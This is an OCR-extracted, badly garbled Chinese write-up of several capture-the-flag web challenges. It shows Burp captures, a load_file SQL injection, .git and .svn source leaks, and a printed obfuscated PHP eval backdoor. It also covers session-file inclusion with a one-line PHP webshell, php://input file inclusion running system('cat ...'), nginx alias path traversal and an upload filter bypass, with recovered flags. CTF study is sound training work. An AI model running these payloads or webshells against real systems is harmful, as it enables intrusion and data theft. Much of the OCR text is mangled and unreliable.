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23 cookie
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1i l’ ntruder attack 3 : : :

| Attack Save Columns

jl
J Results T Target I Positions I Payloads I Options ]
3T

=

| Fiter: Showing all tems

5 Reguest 4 | Payload | Status | Error | Timeout | Length | Comment
5 OHRMck3gTRoMQw== 200 O R [a]
6 OHRMck3gTRoMQg== 200 O o 385
; 7 OHRMck3gTRoMQQ== 200 a O 385
8 OHRMck3gTRoMQA== 200 O O 38s
g OHRMck3gTRoMTw== 200 O O 38s
10 OHRMck3gTRoMTg== 200 O O 38s
11 OHRMck3gTRoMFg== 200 O O 38s
12 OHRMck3gTReMFQ== 200 a a 385
ol 13 OHRMck3gTReMFA== 200 a a 385
1 14 OHRMck3gTRoMEw== 200 O O 3m
HRE OHRMck3gTRoMEg== 200 O O 38%
|| 18 OHRMck3gTRoMEQ== 200 O O 38s [
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Burp Intruder Repeater Window Help
Target I Prox T Spider T Scanner
Intruder Repeater I Sequencer I Decoder I Comparer I Extender I Options I Alerts
1 = 2 =
Go Cance < | Target: hitp:i4fdf7 21006e04d94913255106274b536062e4183e518... @[EJ
J Raw I Params I Headers I Hex ] J Raw I Headers I Hex ]
Bi%3A475%3Bs%3A19%3A%°00016-09-05+05% 341283453 " HTTP/1.1 Z00 OK "
00 3Bit3ALE1E9%3Es3A1 9% 3AO2016-09-21+418% 34 - Server: ASERVER/1.8.0-3 -
LS8 3ARLEIC%3Bi%3AL3005%3Es%3A19%3A% 222016 -05-1 Date: Sat, 24 Sep 2016 15:24:1% GMT
O+18%3A13%3ALE% 0 3Bi 345343 743EsE3A19%3A%2220 Content-Type: text/html;
16-09-2C0+4+170%3A41%3A05% 208 3Bi%3A1 3% 3Es$3A19% 34 charset=ut f-8
$227016-05-14+16%3A08%3A05%22%3Bi%3A51405%3Es% Content-Length: 287
BA19%3ARICC01E-09-14+16%3A08% 34445278 3Bi%3A54% Connection: close
FEs¥3A19%3ACIC016-09-14416%3A10%3A12%20%3B1%3 Pragma: no-cache
AL1B8E9%3Es%3A19%3A% D016 -09-14+16%3411%3418%2 Cache-Control: no-store, no-cache,
Z:3Bi%3AL4T45%3EsE3A1 5% 3AC01E6-09-21+4159%3414 must-revalidate, post-check=0,
$3A15% 0% 3Bi%3A54473%3Bs%3A19%3A%227016-05-214 pre-check=0
Z3%3AL1%3ALE%C2%3B% 7D appbefore=1; Expires: Thu, 1% Now 1581 08:5Z:00
uid=NeTxzipihMpTice3hfuindgiiduHEBtd=E=s; GHMT
ci_session=41Ec750581cf6545770d427528e9ddeZc2eel Set-Cookie:
EfZh5; -\ __ads_session=R10MGglCygis)MrADAA=;
Hm lpwvt_la3lf7cEe0451887db0560e50314b020=14748 domain=_*_game._ ichungiu. com; path=/
85724 ; ¥-Powered-By-Angquanbac: MIZE from
PHPEESSID=df0bEedas7184e5£f205d0acllabdeS828; pon-bij-icg-ichungin-ikl
passinfo=%E5%E85:8D%ESE4%ES92ET$059%88+%3Cathretf
33D32Chttp$ SASCFS CFuww . cmseasy . cn¥ZFservice_1. {"content":"<textarea rows=""I0"
html%Z22+target$3D%27 blank$%2C2%3E%3Cfont+eolord cols=""78%"
3D 22green¥ 2% 3E3 0% ECSE4%ADSE4%ES%E0%ECSBEREE id=»".. %/ ./ flag. php_content®"
$3EE¥SD%E83% 209830 2Ffont$3EE3C82Fat 3E; style=""font-family:
login_username=admin; Fixedsys,verdana,00; font-si=e:
login_password=a%4f8d95844c351a7%ae8db5aa4ldlecd 1Zpx;n"
4; style=skinl name=""__"/. " /flag.php_content'"><?p
Commection: close hp'necho 'flag is
here';'n'flag{fcff7579-hde3-483f-heTh
aid=.. /.. /flag.php —36lff4cf0de0} ' ;'"n<'  cextarea="}
W 9
v v
term 0 matches 7 < + = 7 0 matches
709 bytes | 56 millis

flag{fcff7979-bde3-483f-be7b-361ff4cfOde0
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<hIITH 2 </hL>
<o AR LAREE E 53T </ o>
<{form method="post” enctype="multipart/form—data” class="form">
{input type= file” name="file” id="file” style="display: none:;”
<div class="input-group”>
{input type= text” class= form—control” id="selectedFile” rea
¢{span class="input—group-htn” style="width:200px">
<{putton id="selectFile” elass="btn btn—defdault” type="buttc
{input type="submit” value="_F1{%#" class="btn btnprimary”>
<span>
<fdiv>

</form>

<div>
{a href="u/l. php"> F{ERETH! </a>
<Sdivy
<Sdivy
<Sdivy

<Sdivy
</body>
</htmla>
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FIFfile_get contents Bl 3 3REU 44 A 2

echo file get contents(strtolower(

o k=

FI AT Linux shellZRBUC 4 A 25

echo exec( );

R

echo exec(strtolower(

'flag{9825708e-6571-4e20-9d91-e56c687e55dd}";

. k=

FFget or post t£ & 52id i i€

echo exec(($_GET[ 13

echo file_get contents($_GET[
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http://b993b2d91aac48eebc90c6689bebladb364f18a67d9a4351.ctf.game/member/userinfo.php?job=edit&step=2
post¥iE A
old_password=111111&truename=xxxx%»0000&Limitword[000]=&email=1123@qq.com&provinceid=,address=
(load_file(0x2f766172217777772f68746d6c2f666c61672e706870)) %23

& Load URL |http://b993b2d91aacdBecbcd0ci680beb adb364f1Bab7d%a4351.ctf.game/member/userinfo.php?job=edit&step=2
% splitURL

» Execute

Enable Post data [] Enable Referrer

Post data old_password=1111118ttruename=x0x30000&Limitword[000] =8temail =121113@qgq.comBtprovinceid =,

FIEEEIE 8 UPDATE blog_memberdata SET

email”='121113@gg.com’, icon” =", sex” =", bday™ =", introduce” ="," oicg” =", msn” =", homepage™ =",  address” =",” postalcode” =", " mobphone’ =", telephone™ =", "idcard” =", truename” ="xx\,” provinceid " :
VHERE username="action’

~

‘ou have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ", cityid™ =" WHERE username="action” at line 1
064


http://www.2cto.com/article/201501/365742.html
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@ Load URL | http://b993b2d91aac4Beebcd0c6689bebladb364f18a67d9a4351.ctf.game/member/userinfo.php?job=edit&step=2
9 split URL

b  Execute

Enable Post data [ ] Enable Referrer

Post data old_password=1111118truename =x00x360000&Limitword[000]=8&email =123@qq.comBtprovinceid = address=(load_file(0x2f7661722f7777772f68746d6c2f666c61672e706870)) %23

PsEE | Bl
FaEEE
IS=ias
EEE} SR 1 AR R —M
ShEAsNE || EEmsaE
action
@l Load URL | http://b993b2d91aac4Becbc00c6689beb adb364f18a67d%a4351 . ctf.game/member/userinfo.php?job=cdit&istep=2
I split URL
b Execute
Enable Post data [ Enable Referrer
Post data old_password=111111&truename =% 0000&Limitword[000]=&email=1123@qq.com&provinceid=,address=(load_file(0x2{7661722f7777772f68746d6c2f666c61672e706870)) %23
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<trr
<td width="30%">iEAFIP: 119.167. 246, 19¢/td>
<td width="40%">FGHRIP: <a titley<A HREF="#/ip.rar” title="S& FEikG, MEWMTIHH/inc/BFEIT "> IPEFIEIE, 5 F T
<td width="30%">MPEIERAD: </td>
</tre
<tr>
d>EIEME . xxxx’, provinceid =</td>
S BHESTS: <td>
adBREREF: Ctd
</try
<tr>
GDBEREE: (td
<td>BEF ML <Zpap
echo 'flag is here’:
' flag {17dcc56f—4b5d—4468-8297-1c5d12687168} " ;
/td>
<td>Enbsp: </td>
ftry
<tr>

+H%
1.login
2.getflag
3.backdoor
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rolled to a live Semver mom a reposiory, It i1s
supposedto be done as an export ratherthan as a
local working copy, and hence this problem.

This vulnerability affects /Challenges.

Discovered by: Scripting (GIT_Repository.script).

Attack details

Git files found at : /Challenges/ git/'config

Repository files/directories:

RIA gttt 72

FI R 5E T B JGithack, i&JE5 34 Hgits i

|£] GitHack V1.0

Help

RemoteUrl |hitp//d8fba79e209547558e064685fe53fddB372c64e527 184045 ctf. gamel/Challenges/index.php

SaveTo

ack-masterirelease\d8fba79e209547558e 06468576 537dd8372c64e527 184045 cif game\Challenges

GitHack build start

rootlrl:  hitp:id&fba79e209547558e064685fe53fdda 3720640527 184045 cff game/Challenges

downloadDir: EMCTF ToolJGitHack-masterrelease\défba79e209547558e064685fe53fdda 3720640527 184045.cff gamel

download file "/ gitindex”, size: 289

download file "/ gitlogs/HEAD", size: 875
download file "/.git'config”, size: 137

download file "/ gitt COMMIT_EDITMSG", size: 15
download file "/.gitHEAD", size: 23

download file "/ gitrefs/headsimaster”, size: 41

download object, sha:
download object, sha:
download object, sha:
download object, sha:
download object, sha:
download object, sha:
download object, sha:
download object, sha:
download object, sha:
download object, sha:
download object, sha:

Study (B} » CTFTool » JGitHack-master » release » cadd3Bee5a2c4834aedd1abbet3c50b4201193d352424bed.ctf.game » Challenges

£

git
L] flag.php
[ index.php
2 robots.b

abbbdcc032c8e7608712dafba3f423f74857b0Cf, size: 146
494a375f8b3c397e8dab2e3ff82ddcdbfM1bed 7T, size: 146
dal6087alba93ddb6b6c857e530e4387C96785ab, size: 147
25343898b1a45412a538a7baadb8bcd06c1d8bal, size: 117
91f484f48636ad81306b7febd33cT73d8471088a4, size: 118
12c6ddfdaflabb42c1cfiadab19b4231c1fd9a8s, size: 139
1556a1d651526780ecd22db22681619e4cebaadb, size: 146
734d08bfd094afa33720997bf1c71412c1afc7d9, size: 145
b6935c32a58b99f4efT2e 76005765503 1fc5068, size: 83
9d2fd91fof2fc8a78383c52d9966c3cf03fc0bdb, size: 83
20c774a517Tee2d74379ca23d80c200e887eacy, size: 56

~

A=k =3

2007/3/17 14:45 =

2007/3/17 14:50 PHP 324
2017/3/17 14:30 PHP =&
2017/3/17 14:45 AT

Ful

2 KB
1KB
1KB

[»




) H gitbash# & LART AR A~
gitlog

4d
tlag. php

tl1ag. php
.. bd049e0 100644

RIS AHbachdoOr.php, & B & not found 25 3% %4 314 .b4chdoOr.php.swo
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"ym/","/-/)m") Yymarray (Om" /", "+ )m) ,$)mss (L [S)m], 0, 52))))m)m, tk))); 2o=ob)m_get c)monte)m)mnts)
'm(); c=ba)mse64)m_encode)m(x(gzc)mompres)ms(:o),)m$)mk));print (" > >)m");@sessio)mn
="mR; Ym=@" [ )m"HTT)mP_RE)mFERER"]; Ym=)m@" [ "HTTP_AC)mC)mEPT_LANG)mUAGE)m" )m] ; if( )M&& ){
Y{)m:lk=$)mkh. ;ob)m_start();)m@eva)ml(@gzunco)mmpr)mess (@x(@)mbase6)m4 _deco)mde(p)m)mreg re)
ym==5 ( && YL m++, LiH)mE) {$)mo. =2 {0 )mIAS ) mk{ 51} r)meturn )m
TEi]=""0p)m=$)m)mss (Lo, )m); tif(ar)mray )mkey exists)m()mi i, <)) {$)ms[L1].=20)m;)mie=s)mtrpos)m
fym));mip=""fo)mr (L=15)m [1);$)mz++)mym)sp =S [Sn[)m)m2][£2]];if(str)mpo)ms(Lp,
"trt)molower”;$)mi=tu[ L J[C)m)m] . Sn[ ][ ])m;Eh=tsl(miss (m)md5($)mi. Sihym), o, )m3)) ;5= )ml(es()m
"Ymarse_)mstr)m(iu["q)muery"],$)m)mq); q=array)m_values()miq);pre)mg_matc)mh_all()m"/([\\w)m])m)[
‘m([\\d)m]))?,?/",)m S om))m;if(20)m&&$)mm) )ym)m{@session_start();$)ms=& YMESSI)m)mON;$)mss="su
str_replace('b',"'", 'crbebbabte funcbbtion');/*
="1f7)m)mf"; =" )m)m8d7" ;funct)mion x(:t)m, < ){$)m)mc=strlen(’k);> =st)mrlen)m(:1);)m)m o="
=str_replace(')m',"'", );/*
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http://www.cnblogs.com/go2bed/p/5920811.html
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Burp Intruder Repeater Window Help

[foree |

T Spider T Scanner T Intruder ]’ Repeater I Sequencer T Decoder T Comparer T Extender I Project options I User options. TAIeﬁs ]

2% |3 =

5% |6 x | T = [8&

Go <|r

Raw | Headers | Hex

Target: http:i/d6fha79e209547558e064685fe53fddE837 2c64e527184045.ctf.game @J u

Raw | Headers | Hex

GET /Challenges/bdckdolr.php HTTP/L.1 A Date: Sat, 18 Mar I017 03:07:31 GMT
Host: dBfbaT79el05547558e064685£fe53£ddB3T720E642527104045. et £, game - Content-Type: text/html
User-Agent: Mozilla/5.0 (Windoews NT €.3; rv:3&6.0) Gecko/I0100101 Content-Length: 128
Firefox/35.04 Connection: close
Aocept: text/html, application/xhtml+txml, application/xml;q=0.9, */*;q=0_8 ¥-Powered-By: PHP/L_ 5. 9-lubuntud.l9
Accept-Language: sh-CHN;q=0_8,zh;gq=0.1,en-US;q=0.2,en;q=0.3 Set-Cookie: PHPEESSID=0%9%chinésrpiulS44el3ped8gll; path=/
Accept-Encoding: gzip, deflate Expires: Thu, 1% Nov 1981 08:5Z:00 GMT
Connection: close Cache-Control: no-store, no-cache, must-revalidate, post-check=0,
Peferer:http://114. 114 114 114/?g0=hahaha&ql=6758q =TPocyB4WL frhfvhPZ0/JMTRES pre-check=0
WIt&iqgi=ale Pragma: no-cache
Upgrade-Insecure-Regquests: 1 Vary: Accept-Encoding
Set-Cockie: _ ads_session=iPCdraVD40g®44sEDAA=; domain=.*.ctf.game; path=/
H-Powered-By-Ancuanbac: MIZSES from pon-bj-icg-ichungiu-ibl
can you find the source code of
me? <4 £7 2847 -TPp3VHv2ZEvADTuVN+hCEf £f8ve 2ZEECPd] £k 3 2yp DEwiumBLx 0uCr KpbiqglZ5+6xy
- PHmaf6ydl</4£7£28d7=
v




b4dckdoOr.php flag.php index.php robots.txt this_i5_flag.php

B A system(‘cat this_i5_flag.php’);

[w ﬂ Elements Console Sources Network Timeline Profiles

<!--2php
$flag = "flag{fff@c9fe-8f3d-4150-8bBa-e7eecaf@llls2}";
I--3 == 58
html
head></head
body »< /body
fhtml

123 %

notebook



XEAEE AN EF R REMAIRS, IRXSE—T
HAERLNBREXHEE, AAA/BIAA—T

= {3 Site Structure

E- = f Found
[ css Forbidden
@ fonts Mot Found

[# indude Forbidden
& is Forbidden

& tmp Forbidden
action.php 0K
login.php 0K

php 1nFo.php 0K
register.php 0K

robots. txt oK

% W, T phpinfo.php & robots.txt, [ 3 & 7 & _E

€ OB ee8678b4434ba62d219b75267cf65dc7ebce4ecdBef.ctf. game/action.php?module=php&file=login @& ¢ w B ¥ #® » |- 2

LA S
A B R IX P H AR ENEL R sessiondRi
BEAMBENS, KB RIHEsessioniFif

% — T phpinfo#f 2t 45 B

session.save_path Narllin/phps Narflinfphps

FE N T sessionfI B ZELE, ZRAEZAERNELHEREE GXESELIFEM username = <?php phpinfo(); ?>)
T Sk fE phpinfo B & DG ALK 42

WIS Y e Ll um
open_[EEEdir varhwwwihtmligmp harfwwwihtmliftimp
antnnt hoffarinn Anar ANar

Ft AFRATT R B8 FH AR 5 43 22X 3R B session U4
X BLPR SR Ath 7E A2 lisessionfI B & B ¥ T sessionfE il 12, BAHR

€ O df69ee8678b4434ba62d219b75267cfo5dcTebce94ecdBef ctf.game/action.php?module=&file=php W HEl ¢ % B ¥ #

el LSaveE nanaier THES THES

H¥TT ) save path Jtmp/SESS fvar/lib/php5




¥Rl , <?php $_GET[Y)($_GET[Z]);?>

E

Burp Intruder Repeater Window Help

(Forget |

I Spider T Scanner I Intruder T Repeater T Sequencer T Decoder I Comparer T Extender T Project options T User options I Alerts ]

[1x]2<]3x]a xriw

@

Go Can < |v

_[ Raw T Params T Headers | Hex

Target: hitp:idfé9eedt78b4434bab2d219b7 5267 cT6E

Raw | Headers | Hex

| POST
Cfaction. phplmedule=cxtafile=_ /. /. _/eup/5ESS/sess bnkhijthSledvpotnToplvl4es
fa=systemib=cat$Z0flag.php HTTP/1.1

yHost: df65ee8E878b4434bafldl15bh 7526 TcfE5deTebreSdecdfef ctf. gane

‘Uzer—-Agent: MozillasE.0 (Windows NT E£.3; rv:3E8.0) Gecko/Z0100101
|Firefox/36.04

Apcept: text/html, application/xhtmltxnl, application/wml;gq=0.9 */*;q=0_8
Accept-Language: =h-CH, zh;q=0.8,en-US;q=0_5,en;q=0_3

Accept-Encoding: gzip, deflate

Peferer:

http: //dfE9eeBE78b4434bacZdl19 75267 cfebdeTeboef4ecdBef oo f gane/action. phpin
odule=php&file=login

Cookie: PHPSESSID=bnkhijthSl&4vpcinToplvl4Ed
Comnection: close

Upgrade-Insecure-Reguests: 1

"

~

HTTP/1l.1 500 Internal Serwver Error

Server: ASERVER/L.8.0-3

Date: Wed, 22 Mar 2017 13:25:02 GMT

Content-Type: text/html; charsec=ucf-8
Content-Length: I8

Connection: close

¥-Powered-By: PHP/5_5_5-lubuntud. 1%

Expires: Thu, 19 Nowv 1581 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate,
pre-check=0

Pragma: no-cache

Sec-Cockie: __ads_session=(oftRibZ40ibWEwEDAL=; doms
¥-Powered-By-Ancuanbao: HMIZSS from pon-bj-icg-ichunegi

lanals:5:"zh-CN" : userl=s:31:"

A EEMREERIEIE T R, FlHbase64—T
HH EABERA

<?php $ GET['a'](base64_encode($ GET['b'])); ?>
AT ARRIIBAT , (BIRAENE A H4 2 Eflag.php

— A%

Misc WEB1

7 B R flag S AN LR B

B #F H globals Bk i

Misc WEB2



flagNE2E B B 78 301 B
TR

RILAT DA & var_dump(# T8 4, K I H ffsystem. execHR#id 38 T

Misc WEB3

1 B F) AR A B

error_reporting(”);

session_start();

A

3

3

[ 1+ <time()){

session_destroy();

[ 15
= range('a’, )5
[mt_rand(~, )]. [mt_rand(7, °)];

[1]) && substr(md5( )»5,4)==0){

show_source(

AT B EvalueFEBEI R, TFEAKAERR




include

RREKLRKEE, R
BERR: B! mEXHE IR,

<?php
show_source{_ FILE )
if(isset ($_REQUEST[ path’ 1)) {
include (§_REQUEST[ path’ ]);
}elsed
include (" phpinfo. php’ ) ;
t

System Linux 2178c62c01a1 3.10.0-327.el7.xB6_64 #1
Build Date Dec 13 2016 00:04:38
Configure Command Sfhome/buildozer/aports/main/php5/src/php-

--host=x86_64-alpine-linux-musl' "--prefix=/1
layout=GNU" --with-config-file-path=/etc/ph
inline-optimization’ '--disable-debug' '--disab
fshare/man’ "--with-pic' "--disable-cli' "--with-,

AR AR oy B2 1 th 45 2 ] B K SR o

FRIEAAD 06 751 15 B path i {E

& & phpinfo ()

73
allow _url_fopen Off Off
allow_url_include On On

BRIREPHP Y php://input

B NBHR Fiphp://input
AR LAV A& R B R a6 5038, I BORPOSTIEREM T, php://input™l LAFREX Elpost HI$H .
ELES R — £, enctype="multipart/form-data” IEH& php://input & TE3HI «

K& 0L T A Be st A




AR R I X — R SE Bl webshell K $44T

@ Load URL | http://c2ffee8520acdcd1ae762768e3daad62a165d3ab6db4597.ctf. game/?path=php:/finput
B split URL

¥ Execute

Enable Post data [ Enable Referrer

Post data =?php print_r{scandir(".));?=

<?php
show_source{_ FILE )
if(isset ($_REQUEST[ path’ 1)) {
include ($_REQUEST[ path’]) ;
}elsed
include ( phpinfo. php’ ) ;
t
Array ([0] == . [1] == .. [2] == dle345aae.php [3] == index.php [4] == phpinfo.php)

@ Load URL | http://c2ffee8520acdcd1ae762768e3daad62a165d3ab6db4597.ctf. game/?path=php:/finput
B split URL

¥ Execute

Enable Post data [ Enable Referrer
Post data <?php system('cat dle345aae.php"?=

{code><span style="color: #0000007>

<span style="color: #0000BB">&1t Pphpinbsp:<br /»show_source</span’<span style="color: £00'
</span>

</code’><?php

$rlag="flag {879e8ae5—dl18a—41ca—bdf4-6345Ffbc5502d} " ;

Zone



HREEHXER

=} B¢ Scan Thread 1 { http://87d51e8e2e324cffb50b0aaad108b170e806...  Finished (10 alerts)
= [l web Alerts (10)

i (@ HTML form without CSRF protection (1)

: ) User credentials are sent in clear text (1)

@ Clickjacking: X-Frame-Options header missing (1)
@ Login page password-guessing attack (1)

@ session Cookie without HttpOnly flag set (2)

- @ Session Cookie without Secure flag set (2)

- @ Files listed in robots. txt but not linked (1)

- @ Password type input with auto-complete enabled (1)
= Q Knowledge Base (4)

-~ 5] List of file extensions

-~ = Top 10 response times
- & List of files with inputs
- 5] List of external hosts
= {3 Site Structure

=87} OK
- flag.php 0K
- index.php 0K
E\\ login.php 0K
password=g00dP. .., username=gosqq... 0K
[ robots. txt oK
- www Varigtion 1 for user-agent Ok
= [&] Cookies

KIF flag. PHP AR 4 8 i U BRSO N A
BRIz GEMILD KEE 3 75



#user nobody; worker_processes 1; #error_log logs/error.log; #error_log logs/error.log notice; #error_log logs/error.log info; #pid run/nginx.pid; events { worker_connections
1024; } http { include mime.types; default_type application/octet-stream; #log_format main '$remote_addr - $remote_user [$time_local] "$request” ' # "$status $body_bytes_sent
"$http_referer” * # ""$http_user_agent” "$http_x_forwarded_for"; #access_log logs/access.log main; sendfile on; #tcp_nopush on; #keepalive_timeout 0; keepalive_timeout 65;
#gzip on; #server { # listen 80; # server_name localhost; #charset koi8-r; #access_log logs/host.access.log main; # location / { # root html; # index index.html index.htm; # }
#error_page 404 /404.html; # redirect server error pages to the static page /50x.html # # error_page 500 502 503 504 /50x.html; # location = /50x.html { # root html; # } # proxy
the PHP scripts to Apache listening on 127.0.0.1:80 # #location ~ \.php$ { # proxy_pass http://127.0.0.1; #} # pass the PHP scripts to FastCGl server listening on 127.0.0.1:9000 #
#location ~ \.php$ { # root html; # fastcgi_pass 127.0.0.1:9000; # fastcgi_index index.php; # fastcgi_param SCRIPT_FILENAME /scripts$fastcgi_script_name; # include
fastcgi_params; #} # deny access to .htaccess files, if Apache's document root # concurs with nginx's one # #location ~ At { # deny all; #} #} # another virtual host using mix of
IP-, name-, and port-based configuration # #server { # listen 8000; # listen somename:8080; # server_name somename alias another.alias; # location / { # root html; # index
index.html index.htm; # } #} # HTTPS server # #server { # listen 443 ssl; # server name localhost; # ssl certificate cert.pem; # ssl certificate key cert.key; # ssl session cache
shared:SSL:1m; # ssl session_timeout 5m; # ssl_ciphers HIGH:TaNULL!MDS5; # ssl prefer server ciphers on; # location / { # root html; # index index.html index.htm; # } #) include

sites-enabled/default; }

FLE|T ~sites-enabled/default FEIKIZECH

€ @ 2ctf.game/manages/admin.php?module=../f.f ol d ol d o/ Jetc/nginy/sites-enabled/defaultdname= WE ¢ % B ¥+ # | - @ #» # /- & ® b =
server { listen 80 default server; listen []:80 default server ipveonly=on; root /var/www/html; index index.php index.html index.htm; server name localhost; location / { try files
Suri $uri/ =404; location ~ \.php$ { fastcgi split path info ~(.+\.php)(/.+)$; fastcgi param SCRIPT FILENAME /var/www/html$fastcgi script name; #fastcgi pass unix:/var
frun/php5-fpm.sock; fastcgi pass 127.0.0.1:9000; fastcgi index index.php; include fastcgi params; } } error_page 404 /404.html; error page 500 502 503 504 /50x.html; location
= /50x.html { root /var/www/html; } location /online-movies { alias /movie/; autoindex on; } location ~ A.ht { deny all; } }

FANWER B T — /& location /online-movies { alias /movie/; autoindex on; }

A7 H fonline-moviesF] LUE B H 35K, FHMEBIXABRFIREEag, BT Hiflag.php 4B AT . #E— ¥ & /movie 3C
KA E

BHflag

€ 5782a8b1cecd4094a48ebe2864728eef21753e903a004212 ctf.game/online-movies../var/www/html/flag.php ¢ B

Index of /online-movies../var/www/

ot
noml/ [ETE+TFT flag.php %
localhost/
EEE T :
L] flag.php

AR : PHP X (81 3F)
=5 . d4094348ebe28647 2Beef21753e903a004212.ctf.game

$EFEEE Firefox M{EMMBIHEIHE ?
® 17 . Bi3(0) | php_auto_file (BA) v
O FEriEs) D\360ELREE T HILS...

LISEFEERERNEFHERR T, (A)

#E Hiig

AENRLZ ERLSRE
upload



HEEY

(i) view-source:http://822d1236ccTedch29065fe435c5885688ffc7d303f0042df.ctf.game/

</br>Hi,CTFer!'u should be a fast man:)«<'/-- Pleass post the ichungiu what vou find -->

post ichungiu

EA Lk K Hiflag

@ Load URL |[http://B22d1236cc1e4ch29065fe435c5885688fc7d303f0042df.ctf.game/
B split URL

¥ Execute

Enable Post data [ | Enable Referrer

Post data ichungiu=1

fast!!!
Hi,CTFerlu should be a fast man:)

# O € > )= pmma HTML css BE DOM | [ v | Cookies
L | B B | 23 | HIML | CSS JavaScript XHR BER B BE Fik

Set-Cookie _ =ds_session=JbvwQEFMt5AItZdMEDAA=; domain= % ctf. game; path=/
Vary Accept-Encoding
X-Powered-By FHP/5. 5. 9-lubuntud. 18
X-Powered-By-Anquanbao YIS from pon-bi-ico-ichunaiu-ibl
flag ZEmxhZl9pel9eZiTl101EFREsxTWprdg——

flag Wi ikbaseb644atid fift ik J5 & — AN FEHLEL

BT
1 fR W5 A B[R] a) A ) A A [F] sessionid SEBRARE 15 i)
2.6 E R ) A 5 b YR AR R R 3R IR D 3R 4T B8 IR

e 6 RE



session_start();

J=time();

] && time() -

]=time();

[ = rand( s )5
base64 _encode(base64 encode(

F F pythonfiii 4«




88bb58557943ca31f3487b7d

ik lve

Hi,I think u can find something:)

Welcome@QAQ

R TG wp B HIRsvn REEAKIEE AR , EABRAwe.dbBRE XM, FEREANXLHIHR.

€  (© 4cb290657e435c5885688ffc7d303f0042df.ctf.game/3712901a08bb58557943ca31f3487b7d/.svn/wc.db

o

CEK!

Congratulations!

My username is md5 (HELICOW10rDEwveryOn3)
b

E#R T username md5 & BLH: BEA Xf passwd 171 56
MD 5 f#



5 J5 18 3] | £ 42 7815696ecbf1 c966894b779456d330e.php

Accept: text/html,application/xhtml+txml, application/xml;q=0.9,*/*;q=0_8

Accept-Language: sh-CH,zh;g=0.8,en-US;gq=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Eeferer:

http: //822d12268celedchlS0556fe435cbBREE00L£0T7dA203£0042dE. et f. gane/23712501a

08bh585579430a31£3487Th7d/TE1565€echfle56eE6894h779456d330e . php
Cookie: PHPSESSID=tlélndgglkhufjijéléduflglml

Connection: close

Tpgrade-Insecure-Regquests: 1

Content-Type: multipart/form-data;

boundary=
Content-Length: 302

-241Z1E86071611

————————————————————————————— Z417166071611
Content-Disposition: form-data; name="file"; filename="1_pht"
Content-Type: image/jped

=7

phpinfo() ;

1=

————————————————————————————— Z41C166071611
Content-Disposition: form-data; name="submnit"

Subnit
————————————————————————————— Z417166071611--

HTTE/L.1 200 0K

Server: ASERVER/Ll.8.0-3

Date: Sun, 09 Apr 2017 04:27:58 GMT

Content-Type: text/html

Content-Length: 281

Connection: close

¥-Powered-By: PHP/5.E5._5-lubuntud. 15

Vary: Accept-Encoding

Set-Cockie: _ ads_session=nECL/AcsSAJTVSMEDAA=; domain=.*_ ctf.game; [
¥-Powered-By-Ancgquanbaco: MISS from pon-bhi-icg-ichungiun-ibkl

<html>
<hbody>

<form action="TE815E8Eechfle9EeE854hT
enctype="multipart/form-data">
“<input type="file" name="file" id="file" /=

<input type="submit" name="submit" walue="Submit" /=
</ form>

4EEd330e_php" method="post"

flag{bf5cd69f-b2a3-13fb-3chb0-16T60424bdTe}
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